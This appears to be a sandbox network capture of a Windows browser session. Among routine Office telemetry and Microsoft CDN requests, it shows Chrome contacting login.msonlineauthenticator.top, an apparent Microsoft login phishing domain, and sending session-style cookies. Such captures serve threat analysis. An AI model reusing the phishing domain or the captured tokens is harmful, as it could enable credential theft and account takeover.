2024-11-26 12:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124416Z-174f7845968vqt9xhC1EWRgten0000000veg000000008v9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124416Z-174f7845968nxc96hC1EWRspw80000000v7g000000004q9b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49877	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	429	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:17 UTC	797	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:16 GMT Content-Type: application/x-javascript Content-Length: 16345 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 26 Oct 2024 01:33:48 GMT ETag: 0x8DCF55E3D91C34E x-ms-request-id: d6a48ad4-701e-005e-55fc-3828b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124416Z-174f7845968cpnpfhC1EWR3afc0000000uz000000000buxv x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:17 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 c7 92 d8 dd bf 02 0f cf f1 86 5c f5 40 f8 e0 27 46 d0 18 04 c0 19 ec 90 00 04 80 33 52 48 32 a2 09 14 c1 7e 04 ba b1 dd 8d e1 f0 51 e3 78 37 1f f6 e0 ab 7d f3 c1 27 1f 7d f1 dd 3f 65 23 d6 bf c3 f9 51 55 5d d5 dd 00 c8 91 56 6f d7 0a c5 10 dd f5 95 95 95 95 95 99 95 99 fd 87 9b b5 3f 8d bd c0 df 13 fb 8f ea 77 21 d8 f3 f7 1f bd 9b 3d ef 47 ff e7 fd 50 c4 eb d0 2f e0 ef 92 f8 b4 0a c2 38 7a f5 d1 0d 0b 71 03 5f 35 1e e5 bb fa e3 67 c7 9b d5 7d 67 11 b8 33 31 ab ff a1 f2 f9 95 6c 2a b0 e9 d4 5d 2c f6 62 d5 83 13 3b c9 ef 60 1f 1e b8 59 e3 0f e5 a4 e0 33 0e e3 35 1e 75 47 41 69 d9 10 4e 50 9a 36 3c f8 77 d5 28 16 9d 60 af bc ff 79 ef c7 64 1a 4e e0 78 00 fc 5e 75 9f a0 f4 1b de 5e 05 fa 87 3f 87 fb 4e 08 7f 8e f6 Data Ascii: }Ms#\@'F3RH2~Qx7}'}?e#QU]Vo?w!=GP/8zq_5g}g31l*],b;`Y35uGAiNP6<w(`ydNx^u^?N
2024-11-26 12:44:17 UTC	758	IN	Data Raw: 00 e0 2d 4b 19 b6 30 82 b4 8c 07 10 e2 6a 41 51 4f 3c 0d 86 9c fb 90 51 1e b8 7e 38 ef ac ca 5b ce 0d e6 a8 e8 40 1c 3c 54 74 00 12 3d d5 58 6e a1 df 32 fc 96 7e 1f e6 a4 0f c0 6d c1 20 4b f4 e5 94 23 08 f2 7a 2b a7 b0 22 f9 95 e1 1b bc 5a 63 78 0f a0 e3 c1 92 39 86 02 bf 1f 40 12 07 fe c0 04 ed 43 f1 51 60 30 01 9f 99 b9 11 22 9c 9c 46 f5 21 03 4e d8 91 99 23 47 70 69 f5 43 13 bf cf 2b a3 5b 30 aa 4d 00 19 ad 61 59 30 a3 07 1c ad 07 46 55 f6 20 7e 60 b4 50 c6 37 58 14 8d 87 24 dd 1a 60 1d ef 0e ff 78 de 3c 3f 3d 3f 29 da 42 15 9f 5b 3c cd 11 b4 5f 48 e5 b0 5e 8c 8c 27 d8 05 98 35 59 15 2d 93 07 3e a7 63 10 ab 63 49 07 c0 d2 95 1b 8e 96 fc d4 b9 0c ab 80 76 df 91 f7 17 e2 c7 c6 08 08 ae 98 e1 2e 77 5a 67 fd 21 d6 62 ff 6d 62 29 ea 10 d2 b2 21 08 6b 0c b3 Data Ascii: -K0jAQO<Q~8[@<Tt=Xn2~m K#z+"Zcx9@CQ`0"F!N#GpiC+[0MaY0FU ~`P7X$`x<?=?)B[<_H^'5Y->ccIv.wZg!bmb)!k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49873	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fde36bdf-c01e-000b-1591-3fe255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124416Z-174f78459685726chC1EWRsnbg0000000ve0000000009z7s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 12:44:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T124416Z-174f7845968frfdmhC1EWRxxbw0000000vgg000000006k97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.7	49879	52.1.52.84	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:16 UTC	2503	OUT	GET /s/e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90 HTTP/1.1 Host: login.msonlineauthenticator.top Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.msonlineauthenticator.top/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638682218454186029.Y2Y4NzYwOTctM2MwNy00NWE0LTk5NWUtNGIyNWU4Zjg2MmZkZGM2ODRkY2MtZDgwMC00M2E3LWI3MjUtMGYyMWI0NTM4YjM2&ui_locales=en-US&mkt=en-US&client-request-id=5893082c-4f7e-4df9-b65c-7adb9ae7a5a6&state=dJ8ouvQ_3mQkMmIXuU3O5FZbVQmEex2yalaPWet_MHwCYLCqK1h6Q45eFFDZfykpVlBXx1WPk0CXGxc09OKwE3v9li9jn7060ZNUvkBBOkH0UGAvw_Ty2geydUS0QMX85ouEe3uVasDBfw8SrTUe7YIk1Oxv4rkaptUze-hqhPiwGOAdMvedU8Dc1fRdLqlu3L-wx1JnfqaRvRFGkzqCAntnXDkUNZA_6UGiP0peSRTzpWAoZkqr3gzT55mIC0sIWdkiEbFUSEHZaPsaXAIGZQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwB [TRUNCATED]
2024-11-26 12:44:47 UTC	30	IN	HTTP/1.1 408 Request Timeout
2024-11-26 12:44:47 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2024-11-26 12:44:47 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2024-11-26 12:44:47 UTC	32	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 0d 0a Data Ascii: Content-Type: application/json
2024-11-26 12:44:47 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2024-11-26 12:44:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-11-26 12:44:47 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2024-11-26 12:44:47 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49880	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:17 UTC	655	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.msonlineauthenticator.top/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:22 UTC	744	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:22 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 1ab1ab8f-b01e-000f-7698-318a97000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124422Z-174f7845968ljs8phC1EWRe6en0000000v7g000000009y90 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:22 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-11-26 12:44:22 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.7	49878	13.107.246.63	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 12:44:17 UTC	410	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 12:44:17 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 12:44:17 GMT Content-Type: application/x-javascript Content-Length: 122341 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 23 Oct 2024 19:33:27 GMT ETag: 0x8DCF399919435D9 x-ms-request-id: d63c12a3-e01e-0044-198c-393ed6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241126T124417Z-174f7845968l4kp6hC1EWRe8840000000vp000000000911t x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 12:44:17 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 7b 77 e3 38 8e 38 fa ff fd 14 8e 66 6e da ee 28 2e cb af d8 4a ab b3 2e c7 a9 ca 76 12 67 e2 a4 ba 77 53 99 1c 59 a2 1d 75 64 c9 2b c9 79 8c e3 fd ec 3f 00 24 25 ca 96 53 55 bd 7b ee 3d f7 dc 79 54 2c 12 7c 81 20 08 80 20 f8 e1 e7 9d ff ab f4 73 69 ff fb ff 53 1a 5d f7 ae ae 4b c3 93 d2 f5 e7 d3 ab e3 d2 25 7c fd 47 e9 62 78 7d da 1f 7c 7f 3d d8 28 fe ff fa c1 8b 4b 13 cf 67 25 f8 3b b6 63 e6 96 c2 a0 14 46 25 2f 70 c2 68 1e 46 76 c2 e2 d2 0c fe 8d 3c db 2f 4d a2 70 56 4a 1e 58 69 1e 85 7f 32 27 89 4b be 17 27 50 68 cc fc f0 b9 54 86 ea 22 b7 74 69 47 c9 6b e9 f4 b2 52 85 fa 19 d4 e6 4d bd 00 4a 3b e1 fc 15 7e 3f 24 a5 20 4c 3c 87 95 ec c0 a5 da 7c f8 08 62 56 5a 04 2e 8b 4a cf 0f 9e f3 50 3a f7 9c 28 8c c3 49 52 8a 98 Data Ascii: {w88fn(.J.vgwSYud+y?$%SU{=yT,\| siS]K%\|Gbx}\|=(Kg%;cF%/phFv</MpVJXi2'K'PhT"tiGkRMJ;~?$ L<\|bVZ.JP:(IR
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: da 7b 28 52 1a c0 52 1a 6c 7d a9 7d c8 da ec b2 52 7c bb b5 03 95 48 c0 1e df 22 ac 0d f1 00 d6 1c 08 2b a9 52 6d 2b b5 5b 3b 35 dd ae 32 f4 b4 c0 c8 36 df a9 0a 82 46 22 05 ef ac ac e5 81 96 00 1c f8 09 0f 2f ca 15 21 75 97 97 01 0f 25 a0 d9 fe b3 fd 1a 6b ab 0a 34 88 bb 01 8c 77 38 c7 0e c5 80 17 9b b8 8c 13 79 e3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 f3 ef 84 bb 30 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 57 72 b8 7b 89 55 b4 e7 00 4f 01 c0 61 36 18 96 55 58 f9 86 c9 e9 30 b3 6f 78 d2 fd fa bd 69 d3 d1 04 60 a0 09 40 a8 fc 20 7d 8b 5b de d9 8c c5 6b e5 50 7f 47 0f 14 50 98 8e ed e8 31 8b c7 70 e8 ad f9 d5 7d 44 6f 2f f2 54 c4 6b 26 eb b9 bf a3 d7 97 92 bb 51 9f 65 a3 d8 84 7e cc 74 37 e7 02 ef b1 c3 1e 52 75 01 2a 4b 49 74 85 6e 61 8d 47 Data Ascii: {(RRl}}R\|H"+Rm+[;526F"/!u%k4w8y\|3r&@)0Bs\yClWr{UOa6UX0oxi`@ }[kPGP1p}Do/Tk&Qe~t7Ru*KItnaG
2024-11-26 12:44:18 UTC	16384	IN	Data Raw: 1c 7f d9 85 e1 ba 19 23 fe 05 07 ae ca 22 a1 15 d2 5e 74 03 3d de 32 61 56 8b c8 ca 04 55 ad 05 53 e6 18 48 32 9a 32 49 20 b4 08 c9 2c 84 90 e1 94 49 00 a1 05 47 76 bf 72 e0 57 f7 11 fe 0e 0e b3 77 69 86 e8 72 5f f8 69 ef 16 06 6e bf e7 9e c2 e3 04 a1 f7 44 20 e6 e9 94 9e 39 b3 08 cc ec 9e eb 99 44 d3 8c 8c 5a fc 65 77 9f 33 23 44 1d 50 7d 93 3b f7 00 12 c2 56 eb 11 7d 2a d3 f1 5d 44 b9 0e 39 d7 5b 20 bd e1 58 4a 0e 7b 23 77 07 5b c6 7e 69 47 f1 3d 0c 41 84 3b aa 98 d4 0f 2c 3d 7a 04 3e f6 4b 27 81 bd ac 96 06 e1 de c3 94 03 83 4d 5c 01 32 54 dd 61 98 7c b1 90 d7 2c 67 d4 0f 10 7c 7b 56 9a ce ca 7b 65 19 63 be 29 2f 83 52 74 f1 85 01 66 1a c0 d9 9b 49 